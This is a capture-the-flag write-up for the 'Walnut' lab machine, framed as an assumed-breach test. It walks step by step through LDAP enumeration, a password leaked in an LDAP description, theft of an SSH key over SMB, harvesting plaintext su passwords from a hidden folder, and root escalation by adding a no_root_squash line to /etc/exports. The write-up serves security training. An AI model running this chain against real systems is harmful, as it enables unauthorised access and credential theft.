HackSmarter
Walnut
- Nmap
- NetExec
- OpenSSH (ssh, ssh-keygen)
- OpenLDAP clients (ldapwhoami, ldapsearch)
- smbclient
- showmount / NFS client (mount -t nfs)
- Bash (custom map_hidden.sh)
Target Information
| Property | Value |
|---|---|
| Target | walnut.local (10.1.32.84) |
| Platform | Linux — Ubuntu 24.04, Samba, OpenLDAP, NFS |
| Engagement | Assumed Breach |
| Starting point | Client-supplied credentials larryburns:IloveMontgommery! |
This was an Assumed Breach engagement. The client supplied one set of credentials at the start, so there was no initial-compromise step to find:
username: larryburns
password: IloveMontgommery!
Host: walnut.local
The goal was to see how far those credentials could go.
Enumeration
Port Scan
nmap -Pn -P -A 10.1.32.84
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-09 10:23 UTC
Nmap scan report for 10.1.32.84
Host is up (0.15s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a1:50:1d:04:de:66:51:74:29:2d:8e:87:af:5d:7d:17 (ECDSA)
|_ 256 4a:db:47:8c:fa:61:66:2e:22:e5:df:da:bb:b3:ce:c5 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
|_ 100003 3,4 2049/tcp6 nfs
139/tcp open netbios-ssn Samba smbd 4
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
445/tcp open netbios-ssn Samba smbd 4
2049/tcp open nfs 3-4 (RPC #100003)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
# … (OS fingerprint trimmed)
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2026-09-09T10:24:13
|_ start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WALNUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 146.20 ms 10.200.0.1
2 ...
3 148.30 ms 10.1.32.84
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.79 seconds
The host was a Linux file and identity server: SSH, Samba, OpenLDAP and NFS (with rpcbind advertising nfs on 2049). After adding walnut.local to /etc/hosts, I tried the supplied credentials against each service.
Testing the Supplied Credentials
SSH first:
ssh larryburns@walnut.local
The authenticity of host 'walnut.local (10.1.32.84)' can't be established.
ED25519 key fingerprint is: SHA256:9TOwy8Eh/hVF5PEdV/z7to2IyeMked+UZMJXlA4HGcY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'walnut.local' (ED25519) to the list of known hosts.
larryburns@walnut.local's password:
Permission denied, please try again.
larryburns@walnut.local's password:
Permission denied, please try again.
larryburns@walnut.local's password:
The password was rejected over SSH. Over SMB, NetExec reported the login as (Guest) — Samba had fallen back to a guest mapping rather than accepting larryburns — and share enumeration was denied:
nxc smb walnut.local -u 'larryburns' -p 'IloveMontgommery!' --shares
SMB 10.1.32.84 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB 10.1.32.84 445 WALNUT [+] local\larryburns:IloveMontgommery! (Guest)
SMB 10.1.32.84 445 WALNUT [-] Error enumerating shares: STATUS_ACCESS_DENIED
NetExec’s LDAP module couldn’t get a result either. The server answered that searches need authentication:
nxc ldap walnut.local -u 'larryburns' -p 'IloveMontgommery!'
[10:29:51] ERROR Exception while calling proto_flow() on target walnut.local: Error in searchRequest -> unwillingToPerform: authentication required connection.py:176
The NFS export list was empty:
showmount -e walnut.local
Export list for walnut.local:
A UDP scan added nothing new:
nmap -Pn -sU 10.1.32.84
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-09 10:33 UTC
# … (progress lines trimmed)
Nmap scan report for walnut.local (10.1.32.84)
Host is up (0.15s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
111/udp open rpcbind
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
Nmap done: 1 IP address (1 host up) scanned in 1088.86 seconds
SMB Without Credentials
With the supplied account mapped to guest, I checked what an unauthenticated session could see. A null session could at least enumerate share names, and one of them stood out: automation. Explicit guest was denied again.
nxc smb walnut.local -u '' -p '' --shares
SMB 10.1.32.84 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB 10.1.32.84 445 WALNUT [+] local\:
SMB 10.1.32.84 445 WALNUT [*] Enumerated shares
SMB 10.1.32.84 445 WALNUT Share Permissions Remark
SMB 10.1.32.84 445 WALNUT ----- ----------- ------
SMB 10.1.32.84 445 WALNUT print$ Printer Drivers
SMB 10.1.32.84 445 WALNUT automation automation share
SMB 10.1.32.84 445 WALNUT IPC$ IPC Service (walnut server (Samba, Ubuntu))
nxc smb walnut.local -u 'guest' -p '' --shares
SMB 10.1.32.84 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB 10.1.32.84 445 WALNUT [+] local\guest: (Guest)
SMB 10.1.32.84 445 WALNUT [-] Error enumerating shares: STATUS_ACCESS_DENIED
LDAP — Finding the Right Bind DN
NetExec’s LDAP failure didn’t prove the password was wrong. OpenLDAP needs a full DN to bind, so I tested the credentials directly with ldapwhoami. A bare username isn’t a DN:
ldapwhoami -x \
-H ldap://walnut.local \
-D 'larryburns' \
-w 'IloveMontgommery!'
ldap_bind: Invalid DN syntax (34)
additional info: invalid DN
Anonymous binds were disabled, so I couldn’t read the naming context first:
ldapsearch -x \
-H ldap://walnut.local \
-s base \
-b '' \
'(objectClass=*)' \
namingContexts
ldap_bind: Inappropriate authentication (48)
additional info: anonymous bind disallowed
A DN directly under the base was rejected as invalid credentials:
ldapwhoami -x \
-H ldap://walnut.local \
-D 'uid=larryburns,dc=walnut,dc=local' \
-w 'IloveMontgommery!'
ldap_bind: Invalid credentials (49)
Under ou=People, the bind worked. The supplied password was valid; it simply belonged to LDAP rather than SSH or Samba.
ldapwhoami -x \
-H ldap://walnut.local \
-D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
-w 'IloveMontgommery!'
dn:uid=larryburns,ou=People,dc=walnut,dc=local
With an authenticated bind, I listed the directory:
ldapsearch -LLL -x \
-H ldap://walnut.local \
-D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
-w 'IloveMontgommery!' \
-b 'dc=walnut,dc=local' \
'(objectClass=*)' \
dn
dn: dc=walnut,dc=local
dn: ou=Groups,dc=walnut,dc=local
dn: ou=People,dc=walnut,dc=local
dn: cn=automation,ou=Groups,dc=walnut,dc=local
dn: cn=briangeoff,ou=Groups,dc=walnut,dc=local
dn: cn=larryburns,ou=Groups,dc=walnut,dc=local
dn: uid=automation,ou=People,dc=walnut,dc=local
dn: uid=briangeoff,ou=People,dc=walnut,dc=local
dn: uid=larryburns,ou=People,dc=walnut,dc=local
Three people entries: larryburns, briangeoff, and a service-style automation account matching the SMB share name. I pulled the full entry for each. My own entry included a userPassword attribute (base64 of a {SSHA} salted hash); briangeoff had nothing unusual.
ldapsearch -LLL -x \
-H ldap://walnut.local \
-D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
-w 'IloveMontgommery!' \
-b 'uid=larryburns,ou=People,dc=walnut,dc=local' \
'(objectClass=*)' \
'*'
dn: uid=larryburns,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: larryburns
sn: Burns
givenName: Larry
cn: larryburns
displayName: larryburns
uidNumber: 1001
gidNumber: 1001
gecos: Larry Burns
loginShell: /bin/bash
homeDirectory: /home/larryburns
userPassword:: e1NTSEF9amdUN0V4SEtocDVDQm92clBaYzhMYkJiNXVwK1JNcUI=
ldapsearch -LLL -x \
-H ldap://walnut.local \
-D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
-w 'IloveMontgommery!' \
-b 'uid=briangeoff,ou=People,dc=walnut,dc=local' \
'(objectClass=*)' \
'*'
dn: uid=briangeoff,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: briangeoff
sn: Geoff
givenName: Brian
cn: briangeoff
displayName: briangeoff
uidNumber: 1000
gidNumber: 1000
gecos: Brian Geoff
loginShell: /bin/bash
homeDirectory: /home/briangeoff
The automation entry had a password left in its description:
ldapsearch -LLL -x \
-H ldap://walnut.local \
-D 'uid=larryburns,ou=People,dc=walnut,dc=local' \
-w 'IloveMontgommery!' \
-b 'uid=automation,ou=People,dc=walnut,dc=local' \
'(objectClass=*)' \
'*'
dn: uid=automation,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: automation
sn: automation
givenName: automation
cn: automation
displayName: automation
uidNumber: 7789
gidNumber: 7789
gecos: automation
loginShell: /bin/bash
homeDirectory: /home/automation
description: old pw asdh023incasdahff9 please change pw on all servers
automation:asdh023incasdahff9
The note says “old pw”, but the account shared its name with the SMB share, so it was worth testing there.
SMB — The automation Home Share
nxc smb walnut.local -u 'automation' -p 'asdh023incasdahff9' --shares
SMB 10.1.32.84 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (signing:True) (SMBv1:False)
SMB 10.1.32.84 445 WALNUT [+] local\automation:asdh023incasdahff9
SMB 10.1.32.84 445 WALNUT [*] Enumerated shares
SMB 10.1.32.84 445 WALNUT Share Permissions Remark
SMB 10.1.32.84 445 WALNUT ----- ----------- ------
SMB 10.1.32.84 445 WALNUT print$ READ Printer Drivers
SMB 10.1.32.84 445 WALNUT automation READ,WRITE automation share
SMB 10.1.32.84 445 WALNUT IPC$ IPC Service (walnut server (Samba, Ubuntu))
The “old” password still worked, with read/write on automation. The share turned out to be the account’s home directory, including .ssh:
smbclient //walnut.local/automation \
-U 'automation%asdh023incasdahff9'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 9 11:02:50 2026
.. D 0 Wed Sep 9 11:02:50 2026
.bash_history H 10 Sun Aug 30 13:04:58 2026
scripts D 0 Thu Sep 18 20:28:59 2025
.ssh DH 0 Fri Sep 19 13:39:26 2025
.hidden DH 0 Thu Sep 18 19:22:44 2025
.cache DH 0 Thu Sep 18 13:38:52 2025
.lesshst H 20 Thu Sep 18 19:24:25 2025
user.txt N 33 Sun Aug 30 12:53:47 2026
.viminfo H 11817 Thu Sep 18 20:28:59 2025
8408452 blocks of size 1024. 2716576 blocks available
smb: \> get user.txt
getting file \user.txt of size 33 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> get .bash_history
getting file \.bash_history of size 10 as .bash_history (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> get .ssh
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \.ssh
smb: \> cd .ssh
smb: \.ssh\> ls
. D 0 Fri Sep 19 13:39:26 2025
.. D 0 Wed Sep 9 11:02:50 2026
id_rsa.pub N 576 Thu Sep 18 13:12:15 2025
id_rsa N 2610 Thu Sep 18 13:12:15 2025
authorized_keys N 576 Fri Sep 19 13:39:26 2025
8408452 blocks of size 1024. 2716568 blocks available
smb: \.ssh\> get id_rsa
getting file \.ssh\id_rsa of size 2610 as id_rsa (4.2 KiloBytes/sec) (average 1.4 KiloBytes/sec)
smb: \.ssh\> get id_rsa.pub
getting file \.ssh\id_rsa.pub of size 576 as id_rsa.pub (0.9 KiloBytes/sec) (average 1.3 KiloBytes/sec)
smb: \.ssh\> get authorized_keys
getting file \.ssh\authorized_keys of size 576 as authorized_keys (0.9 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \.ssh\>
cat user.txt
c3dcdda3950b1eca68477ce65da82392
cat .bash_history
su -
exit
The user flag was in the share root. .bash_history held only su - and exit.
The SSH server refused password authentication for automation entirely, so the private key from .ssh was the way in:
ssh automation@walnut.local
automation@walnut.local: Permission denied (publickey).
chmod 600 id_rsa
ssh-keygen -y -f id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB1bjZks2NPsYZe87rUrtU65V6vPm5kA3dKsktzEUiwMLn5H9cVj2JuPo6XknRWvFKXHWI8mVWl7fwF344aNJ8GThO5p9VpKqM1dEFr2g/T76vSN/+T6WSE7u0jRzZsm/LIRUH1qTqfmNQYwKVS+DbdWdsrqDSPoWftlUs+E4zy3EfPIFmks1mqwJvwezKFxn4QWTwgLXXXZclYmVYF+7dRpLUSHBvOl+hxu7DjSOh0StfXFvQ9sg2ZZX88ousPdqauqC+G2DB4Cwded4/gluxvbssd1sA8EghTfQwy03c1ASVJx/v6gQmEImD/0/NG/84rk06i04B6JxVkaN978/XfmEhh6l2OZl3T/eXxhAJeQJlLOCv1/ULLxts5EtpIEHEU9PKCcLMU218uZmbDp2uCsDLujfqsr6BMr3jabztSCR3ykroBE084bbJaZuf0oxjO3hfHzzDrEawACcC2guL6mqq3REPBwhJzeBg2GKmXsVmL1oOHOvxKMqIywNM1dM= automation@graybox.htb
ssh-keygen -y read the key without asking for a passphrase, so it was usable as-is.
Foothold — automation
ssh -i id_rsa automation@walnut.local
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Last login: Sun Aug 30 12:58:35 2026 from 10.0.0.247
automation@walnut:~$ whoami; id
automation
uid=7789(automation) gid=7789(automation) groups=7789(automation)
automation@walnut:~$ pwd
/home/automation
automation@walnut:~$ sudo -l
[sudo] password for automation:
Sorry, user automation may not run sudo on walnut.
No sudo rights. Nothing in the SUID or capability lists stood out:
automation@walnut:~$ find / -user root -perm /4000 2>/dev/null
/usr/sbin/mount.nfs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/gpasswd
automation@walnut:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
The home directory had a scripts folder with a helper and its logs:
automation@walnut:~$ ls
scripts user.txt
automation@walnut:~$ ls -la ~/scripts
total 16
drwxrwxr-x 3 automation automation 4096 Sep 18 2025 .
drwxr-x--- 6 automation automation 4096 Sep 9 11:02 ..
drwxrwxr-x 2 automation automation 4096 Sep 19 2025 logs
-rwxrwxrwx 1 automation automation 226 Sep 18 2025 runScript.sh
automation@walnut:~$ ls -la ~/scripts/logs/
total 16
drwxrwxr-x 2 automation automation 4096 Sep 19 2025 .
drwxrwxr-x 3 automation automation 4096 Sep 18 2025 ..
-rw-rw-r-- 1 automation automation 0 Sep 19 2025 localjob1-19.09.2025-14h09.06.log
-rw-rw-r-- 1 automation automation 10 Sep 19 2025 localjob1-19.09.2025-14h09.21.log
-rw-rw-r-- 1 automation automation 10 Sep 19 2025 localjob1-19.09.2025-15h09.19.log
-rw-rw-r-- 1 automation automation 0 Sep 19 2025 localjob3-19.09.2025-14h09.27.log
automation@walnut:~$ cat ~/scripts/logs/*.log
localjob1
localjob1
automation@walnut:~$ cat ~/scripts/runScript.sh
#!/bin/bash
PARM1="$1"
PARM2=`echo -n "$1" | md5sum | cut -d' ' -f 1`
PARM3="$2"
DATE=`date +%d.%m.%Y-%Hh%m.%S`
su - "$PARM1" -c "$PARM3" < /home/automation/.hidden/"$PARM2" > /home/automation/scripts/logs/"$1"-"$DATE".log
runScript.sh explains the account’s purpose. It runs a command as another user with su - "$PARM1" and feeds that user’s password on stdin from /home/automation/.hidden/<md5(username)>. The log files were named after localjob1 and localjob3. So .hidden should hold cleartext passwords for every account this script manages, named by the MD5 of the username.
automation@walnut:~$ ls -la
total 48
drwxr-x--- 6 automation automation 4096 Sep 9 11:02 .
drwxr-xr-x 7 root root 4096 Sep 18 2025 ..
-rw------- 1 automation automation 10 Aug 30 13:04 .bash_history
drwx------ 2 automation automation 4096 Sep 18 2025 .cache
drwx------ 2 automation automation 4096 Sep 18 2025 .hidden
-rw------- 1 automation automation 20 Sep 18 2025 .lesshst
drwx------ 2 automation automation 4096 Sep 19 2025 .ssh
-rw------- 1 automation automation 11817 Sep 18 2025 .viminfo
drwxrwxr-x 3 automation automation 4096 Sep 18 2025 scripts
-rw------- 1 automation automation 33 Aug 30 12:53 user.txt
automation@walnut:~$ ls -la ~/.hidden/
total 24
drwx------ 2 automation automation 4096 Sep 18 2025 .
drwxr-x--- 6 automation automation 4096 Sep 9 11:02 ..
-rw------- 1 automation automation 21 Sep 18 2025 4f378611beed879f4f62a43ac18452a9
-rw------- 1 automation automation 21 Sep 18 2025 af5f60ab1fe78c4a34e37c9cb4cc58b8
-rw------- 1 automation automation 21 Sep 18 2025 b410af005ed0c033fd5e89720fdf2d57
-rw------- 1 automation automation 0 Sep 18 2025 b4d2ab0ea77f3306355ac7b2bcfcd614
-rw------- 1 automation automation 21 Sep 18 2025 b4d2ab0ea77f3306355ac7b2bcfcd614.bak
automation@walnut:~$ cat ~/.hidden/4f378611beed879f4f62a43ac18452a9
brYfZknjTirtrPgM8V65
automation@walnut:~$ cat ~/.hidden/af5f60ab1fe78c4a34e37c9cb4cc58b8
cKvFZVPbrxEqCkCLPM70
automation@walnut:~$ cat ~/.hidden/b410af005ed0c033fd5e89720fdf2d57
Q8NPUgCvuBQ636tzFBh3
automation@walnut:~$ cat ~/.hidden/b4d2ab0ea77f3306355ac7b2bcfcd614
automation@walnut:~$ cat ~/.hidden/b4d2ab0ea77f3306355ac7b2bcfcd614.bak
vyZzRcreRGDjbq9t19Tb
Four 20-character passwords, one empty file with a .bak copy, and no usernames. Because the filenames are MD5s of usernames, I mapped them back by hashing every account in /etc/passwd:
automation@walnut:~$ nano map_hidden.sh
automation@walnut:~$ cat map_hidden.sh
#!/bin/bash
HIDDEN_DIR="$HOME/.hidden"
while IFS=: read -r user _; do
hash=$(echo -n "$user" | md5sum | cut -d' ' -f1)
if [ -f "$HIDDEN_DIR/$hash" ]; then
echo "[+] USER: $user"
echo " HASH: $hash"
echo -n " PASS: "
cat "$HIDDEN_DIR/$hash"
echo
fi
if [ -f "$HIDDEN_DIR/$hash.bak" ]; then
echo "[+] USER: $user (BAK)"
echo " HASH: $hash"
echo -n " PASS: "
cat "$HIDDEN_DIR/$hash.bak"
echo
fi
done < /etc/passwd
automation@walnut:~$ chmod +x ~/map_hidden.sh
automation@walnut:~$ ~/map_hidden.sh
[+] USER: localjob1
HASH: 4f378611beed879f4f62a43ac18452a9
PASS: brYfZknjTirtrPgM8V65
[+] USER: localjob2
HASH: af5f60ab1fe78c4a34e37c9cb4cc58b8
PASS: cKvFZVPbrxEqCkCLPM70
[+] USER: localjob3
HASH: b4d2ab0ea77f3306355ac7b2bcfcd614
PASS:
[+] USER: localjob3 (BAK)
HASH: b4d2ab0ea77f3306355ac7b2bcfcd614
PASS: vyZzRcreRGDjbq9t19Tb
[+] USER: localjob4
HASH: b410af005ed0c033fd5e89720fdf2d57
PASS: Q8NPUgCvuBQ636tzFBh3
localjob1:brYfZknjTirtrPgM8V65
localjob2:cKvFZVPbrxEqCkCLPM70
localjob3:vyZzRcreRGDjbq9t19Tb
localjob4:Q8NPUgCvuBQ636tzFBh3
Lateral Movement — the localjob Accounts
I switched into each account and checked sudo -l:
automation@walnut:~$ su - localjob1
Password:
localjob1@walnut:~$ id
sudo -l
uid=5000(localjob1) gid=5000(localjob1) groups=5000(localjob1),100(users)
[sudo] password for localjob1:
Sorry, user localjob1 may not run sudo on walnut.
localjob1@walnut:~$ exit
logout
automation@walnut:~$ su - localjob2
Password:
localjob2@walnut:~$ id; sudo -l
uid=5001(localjob2) gid=5001(localjob2) groups=5001(localjob2),100(users)
[sudo] password for localjob2:
Sorry, user localjob2 may not run sudo on walnut.
localjob2@walnut:~$ exit
logout
automation@walnut:~$ su - localjob3
Password:
localjob3@walnut:~$ id ; sudo -l
uid=5002(localjob3) gid=5002(localjob3) groups=5002(localjob3),100(users)
Matching Defaults entries for localjob3 on walnut:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User localjob3 may run the following commands on walnut:
(ALL) NOPASSWD: /usr/bin/systemctl restart nfs-kernel-server.service
localjob1 and localjob2 had nothing. localjob3 — the account whose password only existed in the .bak copy — could restart the NFS server as root without a password.
Privilege Escalation — NFS no_root_squash
A restart alone only matters if something it reads is under my control. The unit file showed that every start runs exportfs -r, which reloads /etc/exports:
localjob3@walnut:~$ systemctl cat nfs-kernel-server.service
# /usr/lib/systemd/system/nfs-server.service
[Unit]
Description=NFS server and services
DefaultDependencies=no
Requires=network.target proc-fs-nfsd.mount
Requires=nfs-mountd.service
Wants=rpcbind.socket network-online.target
Wants=rpc-statd.service nfs-idmapd.service
Wants=rpc-statd-notify.service
Wants=nfsdcld.service
After=network-online.target local-fs.target
After=proc-fs-nfsd.mount rpcbind.socket nfs-mountd.service
After=nfs-idmapd.service rpc-statd.service
After=nfsdcld.service
Before=rpc-statd-notify.service
# GSS services dependencies and ordering
Wants=auth-rpcgss-module.service rpc-svcgssd.service
After=rpc-gssd.service gssproxy.service rpc-svcgssd.service
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStartPre=-/usr/sbin/exportfs -r
ExecStart=/usr/sbin/rpc.nfsd
ExecStop=/usr/sbin/rpc.nfsd 0
ExecStopPost=/usr/sbin/exportfs -au
ExecStopPost=/usr/sbin/exportfs -f
ExecReload=-/usr/sbin/exportfs -r
[Install]
WantedBy=multi-user.target
/etc/exports contained only comments, which is why showmount had been empty from outside. But the file had a + on its permissions, so I checked the ACL:
localjob3@walnut:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
localjob3@walnut:~$ ls -la /etc/exports /etc/default/nfs-kernel-server /etc/nfs.conf 2>/dev/
-rw-r--r-- 1 root root 225 Feb 26 2024 /etc/default/nfs-kernel-server
-rw-rw-r--+ 1 root root 390 Sep 19 2025 /etc/exports
-rw-r--r-- 1 root root 1443 Feb 26 2024 /etc/nfs.conf
localjob3@walnut:~$ getfacl /etc/exports
getfacl: Removing leading '/' from absolute path names
# file: etc/exports
# owner: root
# group: root
user::rw-
user:localjob3:rw-
group::r--
mask::rw-
other::r--
localjob3 had an explicit rw ACL entry on /etc/exports. Together with the sudo restart, that meant I could export any path with any options. I backed up the file, exported / to everyone with no_root_squash, and restarted the service:
localjob3@walnut:~$ cp /etc/exports /tmp/exports.bak
localjob3@walnut:~$ echo '/ *(rw,sync,no_subtree_check,no_root_squash)' >> /etc/exports
localjob3@walnut:~$ tail /etc/exports
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/ *(rw,sync,no_subtree_check,no_root_squash)
localjob3@walnut:~$ sudo /usr/bin/systemctl restart nfs-kernel-server.service
From the attacker machine, the new export was live:
showmount -e walnut.local
Export list for walnut.local:
/ *
I mounted the whole filesystem:
sudo mkdir -p /mnt/walnut
[sudo] password for kali:
sudo mount -t nfs walnut.local:/ /mnt/walnut
ls -la /mnt/walnut
total 1613936
drwxr-xr-x 24 root root 4096 Sep 18 2025 .
drwxr-xr-x 4 root root 4096 Sep 9 11:32 ..
lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Feb 26 2024 bin.usr-is-merged
drwxr-xr-x 2 root root 4096 Sep 18 2025 boot
dr-xr-xr-x 2 root root 4096 Feb 16 2025 cdrom
drwxr-xr-x 4 root root 4096 Feb 16 2025 dev
drwxr-xr-x 102 root root 4096 Aug 30 13:04 etc
drwxr-xr-x 7 root root 4096 Sep 18 2025 home
lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 22 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Feb 26 2024 lib.usr-is-merged
drwx------ 2 root root 16384 Sep 18 2025 lost+found
drwxr-xr-x 2 root root 4096 Feb 16 2025 media
drwxr-xr-x 2 root root 4096 Feb 16 2025 mnt
drwxr-xr-x 2 root root 4096 Feb 16 2025 opt
drwxr-xr-x 2 root root 4096 Apr 22 2024 proc
drwx------ 5 root root 4096 Aug 30 12:53 root
drwxr-xr-x 13 root root 4096 Feb 16 2025 run
lrwxrwxrwx 1 root root 8 Apr 22 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Aug 22 2024 sbin.usr-is-merged
drwxr-xr-x 2 7789 7789 4096 Sep 18 2025 scripts
drwxr-xr-x 2 root root 4096 Sep 18 2025 snap
drwxr-xr-x 2 root root 4096 Feb 16 2025 srv
-rw------- 1 root root 1652555776 Sep 18 2025 swap.img
drwxr-xr-x 2 root root 4096 Apr 22 2024 sys
drwxrwxrwt 10 root root 4096 Sep 9 11:30 tmp
drwxr-xr-x 12 root root 4096 Feb 16 2025 usr
drwxr-xr-x 12 root root 4096 Sep 18 2025 var
no_root_squash means requests from root on the client stay root on the server. As my normal user, /root was unreadable:
cat /mnt/walnut/root/root.txt
cat: /mnt/walnut/root/root.txt: Permission denied
With sudo on my side, it was readable:
sudo cat /mnt/walnut/root/root.txt
f42a447b64f431b99d7fe59f65f71bc7
Root’s flag, read through the NFS export.
Attack Path Summary
Assumed Breach: client-supplied larryburns:IloveMontgommery!
↓
Password rejected on SSH; SMB maps it to guest; NetExec LDAP needs auth
↓
ldapwhoami — valid bind as uid=larryburns,ou=People,dc=walnut,dc=local
↓
LDAP description on uid=automation leaks "old pw" asdh023incasdahff9
↓
SMB automation share (RW) = automation's home → user.txt + .ssh/id_rsa
↓
SSH as automation with the key
↓
runScript.sh → ~/.hidden/<md5(username)> stores su passwords → mapped to localjob1–4
↓
localjob3: sudo NOPASSWD systemctl restart nfs-kernel-server + rw ACL on /etc/exports
↓
Append "/ *(rw,sync,no_subtree_check,no_root_squash)" → restart → exportfs -r
↓
Mount walnut.local:/ as root from attacker → /root/root.txt
Credentials Found
| Principal | Credential | Source |
|---|---|---|
| larryburns | IloveMontgommery! |
Supplied by the client (Assumed Breach); valid for LDAP bind |
| automation | asdh023incasdahff9 |
LDAP description attribute (“old pw”); valid for SMB |
| automation | SSH private key | automation SMB share → .ssh/id_rsa |
| localjob1 | brYfZknjTirtrPgM8V65 |
~automation/.hidden/4f378611… |
| localjob2 | cKvFZVPbrxEqCkCLPM70 |
~automation/.hidden/af5f60ab… |
| localjob3 | vyZzRcreRGDjbq9t19Tb |
~automation/.hidden/b4d2ab0e….bak |
| localjob4 | Q8NPUgCvuBQ636tzFBh3 |
~automation/.hidden/b410af00… |
| Flag | Value |
|---|---|
| user.txt | c3dcdda3950b1eca68477ce65da82392 |
| root.txt | f42a447b64f431b99d7fe59f65f71bc7 |
Tools Used
- Nmap
- NetExec
- OpenSSH (
ssh,ssh-keygen) - OpenLDAP clients (
ldapwhoami,ldapsearch) - smbclient
- showmount / NFS client (
mount -t nfs) - Bash (custom
map_hidden.sh)